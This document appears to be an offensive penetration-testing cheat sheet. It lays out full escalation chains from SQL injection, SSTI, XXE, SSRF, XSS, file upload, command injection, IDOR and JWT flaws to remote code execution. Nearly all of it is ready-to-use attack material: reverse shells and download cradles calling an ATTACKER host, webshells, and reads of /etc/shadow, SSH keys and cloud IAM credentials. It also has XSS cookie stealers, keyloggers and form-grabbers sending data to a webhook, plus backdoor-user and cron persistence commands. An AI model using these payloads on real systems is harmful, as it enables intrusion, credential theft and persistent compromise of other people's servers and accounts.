SQL INJECTION - FULL ESCALATION CHAIN

>> Goal: detect injection -> dump creds -> crack hashes -> RCE via xp_cmdshell or INTO OUTFILE

Step 1 - Detect and Fingerprint

```
Detection probes: ' '' '-- ' -- - ' OR '1'='1'-- ' AND 1=1-- DB fingerprint from error message: You have an error in your SQL syntax -> MySQL Unclosed quotation mark -> MSSQL ORA-01756 -> Oracle ERROR: unterminated quoted string -> PostgreSQL
```

Step 2 - Column Count and Union Setup

```
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- (error = N-1 cols) ' UNION SELECT NULL,NULL-- (2 cols, confirm no error) ' UNION SELECT 'a',NULL-- (find string-compatible column)
```

Step 3 - Dump Credentials

Database	Dump Users and Passwords
MySQL	`' UNION SELECT NULL,CONCAT(username,':',password) FROM users-- ' UNION SELECT NULL,CONCAT(user,':',password) FROM mysql.user--`
MSSQL	`' UNION SELECT name,password_hash FROM sys.sql_logins-- ' UNION SELECT loginname,password FROM syslogins--`
Oracle	`' UNION SELECT username,password FROM dba_users-- ' UNION SELECT name,password FROM sys.user$--`
PostgreSQL	`' UNION SELECT usename,passwd FROM pg_shadow--`

Step 4 - Crack Hashes with Hashcat

Hash Format	Hashcat Mode	Command
MD5 (MySQL < 5)	`-m 0`	`hashcat -m 0 hashes.txt rockyou.txt`
MySQL 4.1+ (*hash)	`-m 300`	`hashcat -m 300 hashes.txt rockyou.txt`
MSSQL 2000	`-m 131`	`hashcat -m 131 hashes.txt rockyou.txt`
MSSQL 2005+	`-m 132`	`hashcat -m 132 hashes.txt rockyou.txt`
Oracle 11g SHA1	`-m 112`	`hashcat -m 112 hashes.txt rockyou.txt`
PostgreSQL MD5	`-m 12`	`hashcat -m 12 hashes.txt rockyou.txt`
bcrypt	`-m 3200`	`hashcat -m 3200 hashes.txt rockyou.txt --force`

Step 5a - MSSQL RCE via xp_cmdshell

! Requires sysadmin role or equivalent. Check with: SELECT IS_SRVROLEMEMBER('sysadmin')

```
-- Enable xp_cmdshell (disabled by default): '; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -- Execute OS commands: '; EXEC xp_cmdshell 'whoami';-- '; EXEC xp_cmdshell 'type C:\windows\win.ini';-- '; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/shell.ps1'')"';-- -- Reverse shell via xp_cmdshell: '; EXEC xp_cmdshell 'powershell -nop -c "$c=New-Object Net.Sockets.TCPClient(''ATTACKER'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object
```

```
Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+''PS ''+(pwd).Path+''>
'');$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"';--
```

Step 5b - MySQL RCE via INTO OUTFILE Webshell

! Requires FILE privilege and web root must be writable. Check: SELECT @@secure_file_priv

```
-- Write webshell to web root: ' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -- Access shell:
http://target.com/shell.php?cmd=id http://target.com/shell.php?cmd=cat+/etc/shadow -- If direct INTO OUTFILE blocked, use hex encoding: ' UNION SELECT 0x3c3f706870
system($_GET[cmd]); ?> INTO OUTFILE '/var/www/html/s.php'-- -- Find web root if unknown: ' UNION SELECT @@datadir,NULL-- ' UNION SELECT NULL,@@basedir--
```

Step 5c - MySQL Read Sensitive Files

```
' UNION SELECT NULL,LOAD_FILE('/etc/passwd')-- ' UNION SELECT NULL,LOAD_FILE('/etc/shadow')-- ' UNION SELECT NULL,LOAD_FILE('/var/www/html/config.php')-- ' UNION SELECT
NULL,LOAD_FILE('/home/user/.ssh/id_rsa')-- ' UNION SELECT NULL,LOAD_FILE('/proc/self/environ')--
```

BLIND SQLi + POST-EXPLOITATION

>> Blind SQLi has the same end-impact as union-based. Takes longer but leads to the same DB dump and RCE.

Step 1 - Map Oracle Direction

```
' OR '1'='1'-- -> note response (TRUE) ' OR '1'='2'-- -> note response (FALSE) WARNING: logic may be inverted. TRUE condition can give 'Not Found' response. Map this before extracting anything.
```

Step 2 - Binary Search Extraction (fastest manual method)

```
Find character at position 1 using 6 comparisons: ' OR ASCII(SUBSTRING(database(),1,1)) > 96-- (lowercase letter?) ' OR ASCII(SUBSTRING(database(),1,1)) > 109-- (m to z?) ' OR ASCII(SUBSTRING(database(),1,1)) > 116-- (t to z?) ' OR ASCII(SUBSTRING(database(),1,1)) = 118-- 118 = 'v' MATCH Extract full table name: ' OR SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'-- Extract credentials: ' OR SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5'--
```

Time-Based Blind

DB	Payload
MySQL	`' AND SLEEP(5)-- ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--`
MSSQL	`'; WAITFOR DELAY '0:0:5'-- ' IF(SUBSTRING(db_name(),1,1)='m') WAITFOR DELAY '0:0:5'--`
PostgreSQL	`'; SELECT pg_sleep(5)--`
Oracle	`' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--`

Post SQLi - What to Do After Dumping Credentials

Action	How
Try creds on web login	Use dumped username:password on the login form directly
Password reuse	Try same creds on SSH, RDP, admin panels, other services on same host
Admin panel access	Login to /admin /phpmyadmin /adminer with DB credentials
phpMyAdmin -> RCE	`SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'`
Hash cracking	Feed hashes to hashcat. See modes on previous page.
MSSQL xp_cmdshell	If sysadmin: enable xp_cmdshell and execute OS commands directly. See previous page.
MySQL INTO OUTFILE	If FILE privilege: write webshell to web root. See previous page.

SQLi Privilege Escalation Reference

DB	Check Your Privilege	Escalation Path
MySQL	`SELECT user, host, File_priv FROM mysql.user WHERE user=current_user()`	FILE priv -> LOAD_FILE and INTO OUTFILE for read/write

DB	Check Your Privilege	Escalation Path
MSSQL	`SELECT IS_SRVROLEMEMBER('sysadmin') SELECT IS_SRVROLEMEMBER('db_owner')`	sysadmin -> xp_cmdshell RCE db_owner -> EXECUTE AS to escalate to sysadmin
Oracle	`SELECT * FROM SESSION_PRIVS`	DBA role -> UTL_FILE read/write, Java stored procs for OS cmds
PG	`SELECT current_setting('is_superuser')`	Superuser -> COPY TO/FROM PROGRAM for OS command execution

PostgreSQL RCE via COPY TO PROGRAM (superuser)

```
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out'-- '; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'--
```

SSTI - FULL ESCALATION TO RCE AND BEYOND

>> Goal: detect template engine -> RCE -> read /etc/shadow -> drop persistence -> reverse shell

Step 1 - Identify Engine

Payload	Output	Engine
`{{7*7}}`	49	**Jinja2 or Twig**
`{{7*'7'}}`	7777777	**Jinja2 confirmed**
`{{7*'7'}}`	49	**Twig confirmed**
`${7*7}`	49	**Freemarker or Velocity**
`{php}echo 7*7;{/php}`	49	**Smarty**
`__${7*7}__::`	49	**Thymeleaf SpEL**
`<%= 7*7 %>`	49	**ERB or JSP**

Jinja2 - Full Escalation Chain

```
-- Step 1: Confirm RCE with id: {{lipsum.__globals__['os'].popen('id').read()}} -- Step 2: Read /etc/shadow for password hashes: {{lipsum.__globals__['os'].popen('cat /etc/shadow').read()}} -- Step 3: Read app config files for DB creds and API keys: {{lipsum.__globals__['os'].popen('cat /app/.env').read()}} {{lipsum.__globals__['os'].popen('find / -name config.php 2>/dev/null').read()}} {{lipsum.__globals__['os'].popen('env').read()}} -- Step 4: Reverse shell: {{lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"').read()}} -- Step 5: Drop persistent webshell: {{lipsum.__globals__['os'].popen('echo "<?php system($_GET[c]); ?>" > /var/www/html/x.php').read()}} -- Step 6: Add SSH key for persistence: {{lipsum.__globals__['os'].popen('echo "ATTACKER_PUBKEY" >> /root/.ssh/authorized_keys').read()}}
```

Jinja2 - Alternative Payloads When lipsum is Blocked

```
-- cycler (also always available): {{cycler.__init__.__globals__['os'].popen('id').read()}} -- Via __globals__ on any exposed function: {{''.__class__.__init__.__globals__['os'].popen('id').read()}} -- MRO subclass chain (find subprocess.Popen): {{''.__class__.__mro__[1].__subclasses__()}} <- find index of subprocess.Popen {{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}} -- Sandbox bypass via attr filter: {{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}} -- String concat to bypass keyword WAF: {{'
'['__cla'+'ss__']['__mr'+'o__'][1]['__sub'+'classes__']()}}
```

Other Engines - RCE and File Read

Engine	RCE Payload	File Read
Smarty	`{php}system('id');{/php}`	`{php}echo file_get_contents('/etc/passwd');{/php}`
Twig	`{{['id']|map('system')|join}}`	`{{'/etc/passwd'|file_get_contents}}`
Freemarker	`<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`	`<#assign r=object?api.class.forName("java.io.FileReader")?new()("file")>${r.text}`

Engine	RCE Payload	File Read
Thymeleaf	`__${T(java.lang.Runtime).getRuntime().exec('id')}__::`	`__${new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\A').next()}__::`
Velocity	`#set($rt=$class.forName("java.lang.Runtime").getRuntime()) #set($ex=$rt.exec("id"))$ex.waitFor()`	`#set($fr=new java.io.FileReader("/etc/passwd")) #set($br=new java.io.BufferedReader($fr)) $br.readLine()`

XXE - FULL ESCALATION CHAIN

>> Goal: file read -> extract creds from config files -> chain to SSRF -> cloud IAM keys -> full infra access

Step 1 - Basic File Read

```
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <input>&xxe;</input>
```

Step 2 - High-Value Files to Read

File	What You Get
/etc/passwd	User list, home directories, confirm RCE user context
/etc/shadow	Password hashes - crack with hashcat for lateral movement
/proc/self/environ	Process env vars - often contains API keys, DB passwords, secrets
/proc/self/cmdline	Application start command - reveals config file locations and flags
/var/www/html/config.php	PHP DB credentials - username, password, host
/var/www/html/wp-config.php	WordPress DB credentials and secret keys
/app/.env	All application secrets in one file - API keys, JWT secrets, DB URL
/app/config/database.yml	Rails DB config
/home/USER/.ssh/id_rsa	SSH private key - direct root/user login via SSH
/home/USER/.bash_history	Command history - reveals other systems, creds typed in CLI
/etc/hosts	Internal network map - find other systems to pivot to
file:///c:/windows/win.ini	Windows confirmation
file:///c:/inetpub/wwwroot/web.config	IIS credentials and connection strings

Step 3 - OOB XXE When Response Does Not Reflect Output

```
-- Use when in-band output is blocked. Needs an external server (use webhook.site or interactsh). -- Classic OOB via external DTD: <?xml version="1.0"?> <!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd"> %xxe; ]><input>test</input> -- Contents of evil.dtd on attacker server: <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#37; send SYSTEM 'http://ATTACKER/?d=%file;'>"> %wrap; %send; -- Error-based XXE when HTTP callbacks also blocked: <!ENTITY % file SYSTEM
"file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#37; err SYSTEM 'file:///invalid/%file;'>"> %eval; %err;
```

Step 4 - SSRF via XXE to Reach Internal Services

```
<!ENTITY xxe SYSTEM "http://127.0.0.1/admin"> <!ENTITY xxe SYSTEM "http://127.0.0.1:6379/"> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> <!ENTITY xxe
SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> -- Once you get the IAM role name, fetch the credentials: <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">
```

Step 5 - Use AWS IAM Keys from SSRF/XXE

```
-- Response gives you AccessKeyId, SecretAccessKey, Token -- Set up AWS CLI: export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... -- Enumerate what you have access to: aws sts get-caller-identity aws s3 ls aws s3 cp s3://bucket-name/file.txt . aws ec2 describe-instances aws secretsmanager list-secrets aws secretsmanager get-secret-value --secret-id SECRET_NAME
```

SSRF - FULL ESCALATION CHAIN

>> Goal: probe internal services -> AWS IAM keys -> Redis RCE -> cloud infrastructure takeover

Step 1 - Confirm SSRF

```
Use Burp Collaborator or webhook.site as the URL: ?url=https://YOUR-COLLABORATOR.oastify.com If DNS or HTTP hit arrives -> SSRF confirmed. Parameter names to test: url= dest= redirect= feed= image= callback= host= path=
```

Step 2 - Probe Internal Services

Target	URL	What You Get
Localhost admin	`http://127.0.0.1/admin`	Admin panel not exposed to internet
Spring Boot	`http://127.0.0.1:8080/actuator/env`	All application config including passwords
AWS metadata	`http://169.254.169.254/latest/meta-data/`	Instance info, IAM role name
AWS IAM keys	`http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE`	AccessKeyId, SecretAccessKey, Token
GCP metadata	`http://metadata.google.internal/ computeMetadata/v1/`	GCP service account tokens
Azure metadata	`http://169.254.169.254/metadata/instance?api-version=2021-02-01`	Azure managed identity token
Redis	`http://127.0.0.1:6379/`	Redis info - chain to RCE via gopher
Elasticsearch	`http://127.0.0.1:9200/_cat/indices`	All index names and data
Docker API	`http://127.0.0.1:2375/containers/json`	Running containers - chain to host escape
Kubernetes API	`http://10.96.0.1:443/api/v1/namespaces`	K8s secrets and pods

Step 3 - 127.0.0.1 Filter Bypasses

```
http://2130706433/ decimal http://0x7f000001/ hex http://0177.0.0.1/ octal http://127.1/ short form http://[::1]/ IPv6 http://127.0.0.1.nip.io/ DNS rebinding http://spoofed.com/ domain resolving to 127.0.0.1 Open redirect chain (bypass URL validation): ?url=https://trusted.com/redirect?to=http://169.254.169.254/latest/meta-data/
```

Step 4 - Redis RCE via Gopher Protocol

! Requires SSRF that supports gopher:// protocol and Redis with no auth

```
-- Write cron job for reverse shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1+%2A+%2A+%2A+%2A+bash+-i+>%26+%2Fdev%2Ftcp%2FATTACKER%2F4444+0>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave -- Use gopherus tool to generate payloads automatically: python gopherus.py --exploit redis python gopherus.py --exploit mysql python gopherus.py --exploit smtp
```

Step 5 - Use AWS IAM Keys

```
-- From metadata response, extract the credentials: AccessKeyId, SecretAccessKey, Token export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... aws sts get-caller-identity (who am I) aws s3 ls (list all S3 buckets) aws s3 cp s3://bucket/sensitive-file.txt . (download files) aws secretsmanager list-secrets (list secrets) aws secretsmanager get-secret-value --secret-id NAME (read secret) aws ec2 describe-instances (find more targets) aws iam list-users (enumerate users) aws iam list-attached-user-policies --user-name USER (check permissions)
```

XSS - FULL ESCALATION CHAIN

>> Goal: detect context -> execute JS -> steal session -> account takeover -> if admin: RCE via admin panel

Step 1 - Identify Context and Confirm Execution

Source Shows	Context	Payload
`<p>INPUT</p>`	HTML body	`<script>alert(1)</script>`
`<input value="INPUT">`	DQ attribute	`"><script>alert(1)</script>`
`<input value='INPUT'>`	SQ attribute	`'><script>alert(1)</script>`
`var x = 'INPUT';`	JS string SQ	`';alert(1);//`
`var x = "INPUT";`	JS string DQ	`";alert(1);//`
`var arr = ['INPUT'];`	JS array	`'];alert(1);//`
`var x = `INPUT`;`	Template lit	`` `;alert(1);// ``
`<a href="INPUT">`	URL attr	`javascript:alert(1)`

Step 2 - Filter Bypasses

Blocked	Bypass
script tag	`<img src=z onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)> <input autofocus onfocus=alert(1)>`
alert()	`confirm(1) prompt(1) alert`1` eval('ale'+'rt(1)') window['ale'+'rt'](1)`
spaces	`<img/src=z/onerror=alert(1)> <svg/onload=alert(1)>`
quote chars	`<svg onload=alert(1)>` (no quotes needed in event handlers)
URL encoding	`%3Cscript%3Ealert(1)%3C/script%3E %253Cscript%253E` (double encoded)

Step 3 - Steal Session and Take Over Account

```
-- Steal HttpOnly-protected cookies via XSS in same origin: <img src=z onerror="fetch('https://WEBHOOK/?c='+document.cookie)"> -- Steal non-HttpOnly cookie and use directly: 1. Receive cookie at webhook: session=abc123 2. In browser: document.cookie = "session=abc123" 3. Navigate to authenticated page -> logged in as victim -- Steal localStorage tokens (JWT often stored here): <img src=z onerror="fetch('https://WEBHOOK/?t='+localStorage.getItem('token'))"> -- Steal CSRF token to perform state-change actions: <img src=z onerror="fetch('/profile').then(r=>r.text()).then(t=>{ var csrf = t.match(/csrf_token.*?value=.(.*?)./)[1]; fetch('/change-email',{method:'POST',credentials:'include', body:'email=attacker@evil.com&csrf_token='+csrf}); })">
```

Step 4 - If Victim is Admin: Escalate to RCE

```
-- Admin panels often have file upload, theme editor, or plugin install: -- WordPress: execute via theme editor <img src=z onerror="fetch('/wp-admin/theme-editor.php') .then(r=>r.text()).then(t=>{ var n = t.match(/nonce.*?value=.(.*?)./)[1]; fetch('/wp-admin/theme-editor.php',{method:'POST',credentials:'include', body:'nonce='+n+'&newcontent=<?php+system($_GET[c]);?>&file=shell.php'}); })"> -- Generic admin file manager -> upload webshell -> execute OS commands -- Read internal pages not accessible from outside: <img src=z onerror="fetch('http://internal-app/admin/config') .then(r=>r.text()) .then(d=>fetch('https://WEBHOOK/?d='+btoa(d)))">
```

Step 5 - Keylogger and Persistent Access

```
-- Keylogger (for stored XSS - runs on every page load): <script> document.onkeypress = function(e) { fetch('https://WEBHOOK/?k='+e.key); }; </script> -- Capture form submissions (grab passwords on login page): <script> document.querySelector("form").addEventListener("submit", function(e) { var data = new FormData(e.target); fetch('https://WEBHOOK/?d='+JSON.stringify(Object.fromEntries(data))); }); </script>
```

FILE UPLOAD AND COMMAND INJECTION - FULL CHAIN

>> Goal: bypass upload filters -> webshell -> interactive shell -> full system access

Step 1 - File Upload Attack Order

1. Upload a legitimate file. Note storage URL. Confirm it is served directly by browser.
2. SVG XSS: filename=shell.svg, Content-Type: image/png, SVG with script tag.
3. PHP extension bypass: .php5 .phtml .phar .pHp .PHP .php.jpg .php%00.jpg
4. MIME spoof: keep .php filename, change Content-Type to image/jpeg.
5. Magic bytes: prepend JPEG/PNG signature bytes before PHP code.
6. Apache .htaccess override: upload config then shell.jpg with PHP body.

Step 2 - Webshell Payloads

```
-- Minimal PHP webshell: <?php system($_GET['cmd']); ?> Access: http://target.com/uploads/shell.php?cmd=id -- More capable webshell: <?php echo shell_exec($_GET['cmd']); ?> -- Pass via POST to avoid logs: <?php system($_POST['cmd']); ?> curl -X POST http://target.com/shell.php -d 'cmd=id' -- ASP.NET webshell: <%@ Page Language="C#" %> <%Response.Write(System.Diagnostics.Process.Start(Request["c"]));%>
```

Step 3 - Escalate Webshell to Reverse Shell

```
-- Via webshell execute: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' -- URL encoded (to avoid issues): ?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
-- Python reverse shell: ?cmd=python3 -c 'import os,socket,subprocess;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call("/bin/sh")' -- Set up listener on your machine: nc -lvnp 4444 -- Upgrade to interactive shell after connection: python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl+Z -> stty raw -echo -> fg export TERM=xterm
```

Command Injection - Operators and Full Chain

Operator	Platform	Payload	Behaviour
;	Linux	`; id`	Execute after main command
|	Both	`| id`	Pipe to id
&&	Both	`&& id`	Run if first succeeds
||	Both	`|| id`	Run if first fails
`	Linux	`` `id` ``	Backtick subshell
$()	Linux	`$(id)`	Dollar subshell
&	Windows	`& whoami`	Windows chain

Command Injection - Escalation to Full Access

```
-- Read sensitive data: ; cat /etc/shadow ; find / -name "*.env" 2>/dev/null ; env | grep -i "pass\|key\|secret\|token" ; cat ~/.ssh/id_rsa ; cat /var/www/html/config.php
-- Reverse shell from command injection: ; bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" ; python3 -c 'import socket,subprocess,os;s=socket.socket();
```

```
s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); subprocess.call(["/bin/sh"])'
```

IDOR + AUTH BYPASS + JWT - FULL CHAIN

>> Goal: access other user data -> reach admin -> admin features -> RCE via admin panel or file manager

IDOR - Full Escalation Chain

```
-- Step 1: Find your own ID: GET /api/profile -> {"id":5,"email":"you@test.com","role":"user"} -- Step 2: Access other users (horizontal): GET /api/users/1 GET /api/users/2 GET /api/users/3 GET /api/orders/100 -> GET /api/orders/1 (admin order?) -- Step 3: Find admin account: Look for {"role":"admin"} or {"id":1} in responses -- Step 4: Modify another user (if PUT/PATCH allowed): PUT /api/users/2 {"email":"attacker@evil.com"} -> take over account PUT /api/users/2 {"password":"hacked123"} -> set new password -- Step 5: Escalate to admin via mass assignment: POST /api/profile {"name":"test","role":"admin","isAdmin":true} -- Step 6: Access admin panel with escalated account: GET /admin GET /api/admin/users GET /api/admin/config
```

IDOR - Account Takeover via Password Reset and Email Change

```
-- Password reset token IDOR: POST /api/reset {"email":"victim@email.com"} -> note your token POST /api/reset/confirm {"token":"YOUR_TOKEN","user_id":2} -> resets victim password -- Email change IDOR: PUT /api/users/2/email {"email":"attacker@evil.com"} -> change victim email Then trigger password reset -> reset link goes to attacker email -- Response manipulation for instant admin: Burp: Proxy -> Intercept ON -> "Do intercept -> Response to this request" Change: {"role":"user"} to {"role":"admin"} {"isAdmin":false} to {"isAdmin":true} HTTP 403 to HTTP 200
```

JWT Full Attack Chain

```
-- Step 1: Decode your JWT at jwt.io. Read the payload. {"sub":"5","role":"user","email":"you@test.com","iat":1234567890} -- Step 2: alg:none attack: New header: {"alg":"none","typ":"JWT"} New payload: {"sub":"1","role":"admin","email":"admin@app.com"} Encode both as base64url. Append empty signature but keep trailing dot. eyJhbGciOiJub25lIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0. -- Step 3: RS256 -> HS256 algorithm confusion: Fetch the server public key from /jwks.json or /.well-known/jwks.json Sign new token using HS256 with the PUBLIC key as the HMAC secret Server validates HS256 using its public key -> forged token accepted -- Step 4: kid SQL injection: {"alg":"HS256","kid":"x' UNION SELECT 'attackerkey'-- "} {"sub":"1","role":"admin"} Sign with "attackerkey" as the HMAC secret -- Step 5: Weak secret brute force: hashcat -a 0 -m 16500 token.jwt rockyou.txt If secret found: forge any payload and sign legitimately
```

Auth Bypass to Admin - Full Chain

Technique	Payload	Next Step if Successful
SQLi login	`admin'-- ' OR 1=1--`	Access admin panel
Force browse	`/admin /dashboard /api/admin/users`	Access admin functions directly
Header injection	`X-Original-URL: /admin`	Backend routes to /admin
JWT forged	`{"sub":"1","role":"admin"}`	All admin API endpoints accessible
Response manipulation	`{"admin":true} 302->200`	Browser accepts admin session
Admin + file manager	Upload webshell via admin interface	OS command execution -> full RCE

POST-EXPLOITATION + MAX IMPACT TABLE

Post-Exploitation Checklist - After Getting Shell or RCE

Goal	Commands
Identity and context	`id whoami hostname uname -a cat /etc/os-release`
Network map	`ifconfig ip addr cat /etc/hosts netstat -tulpn ss -tulpn`
Find credentials	`grep -r "password" /var/www/ 2>/dev/null find / -name "*.env" -o -name "config.php" 2>/dev/null cat /proc/self/environ env | grep -i "pass|key|secret"`
Read password hashes	`cat /etc/shadow cat /etc/passwd mysql -u root -e "SELECT user,password FROM mysql.user;"`
Pivot to other systems	`cat /etc/hosts arp -a for i in {1..254}; do ping -c1 -W1 192.168.1.$i; done`
SSH key theft	`find / -name "id_rsa" 2>/dev/null cat ~/.ssh/id_rsa cat /root/.ssh/id_rsa cat /home/*/.ssh/id_rsa`
Add backdoor user	`useradd -m -s /bin/bash -G sudo attacker echo 'attacker:password' | chpasswd`
Persistence via cron	`echo "* * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1" >> /etc/crontab`
Dump all DB data	`mysqldump -u root --all-databases pg_dumpall -U postgres sqlcmd -S localhost -Q "SELECT * FROM users"`

Maximum Impact Reference

Vulnerability	Detection	Max Impact Achieved Via
SQLi	' causes error	Dump DB creds -> crack hashes -> xp_cmdshell RCE on MSSQL / INTO OUTFILE webshell on MySQL -> full server access
SSTI	{{7*7}} = 49	lipsum.__globals__[os].popen(cmd) -> read /etc/shadow -> reverse shell -> persistence via SSH key or cron
XXE	XML Content-Type	Read /proc/self/environ for secrets -> SSRF to AWS metadata -> IAM keys -> S3/EC2/Secrets Manager full access
SSRF	URL param hits collaborator	169.254.169.254 IAM keys -> AWS CLI -> entire cloud infra / Redis gopher RCE -> full server
Command Injection	; sleep 5	Reverse shell -> full OS access -> read all files, creds, pivot to internal network
File Upload	File served by browser	Webshell upload -> upgrade to reverse shell -> full OS access -> data exfil
XSS Stored	<script> executes	Steal admin session -> login as admin -> admin file manager -> webshell upload -> RCE
IDOR	ID=5 -> ID=1 returns data	Access admin account data -> password reset to attacker email -> login as admin -> full app access
JWT	alg:none accepted	Forge admin token -> all admin API access -> admin file upload -> RCE
Auth Bypass	/admin accessible	Full admin panel -> user management -> file upload -> RCE
Path Traversal	../ returns files	Read /app/.env or config.php for DB creds -> login to DB -> dump all data

Reverse Shell One-Liners Quick Reference

```
Bash: bash -i >& /dev/tcp/ATTACKER/4444 0>&1 Python3: python3 -c 'import socket,subprocess,os;s=socket.socket(); s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); subprocess.call(["/bin/sh"])' PHP: php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Netcat: nc -e
```

```
/bin/sh ATTACKER 4444 Netcat2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f Listener: nc -lvnp 4444 Upgrade shell to interactive: python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl+Z -> stty raw -echo -> fg -> export TERM=xterm
```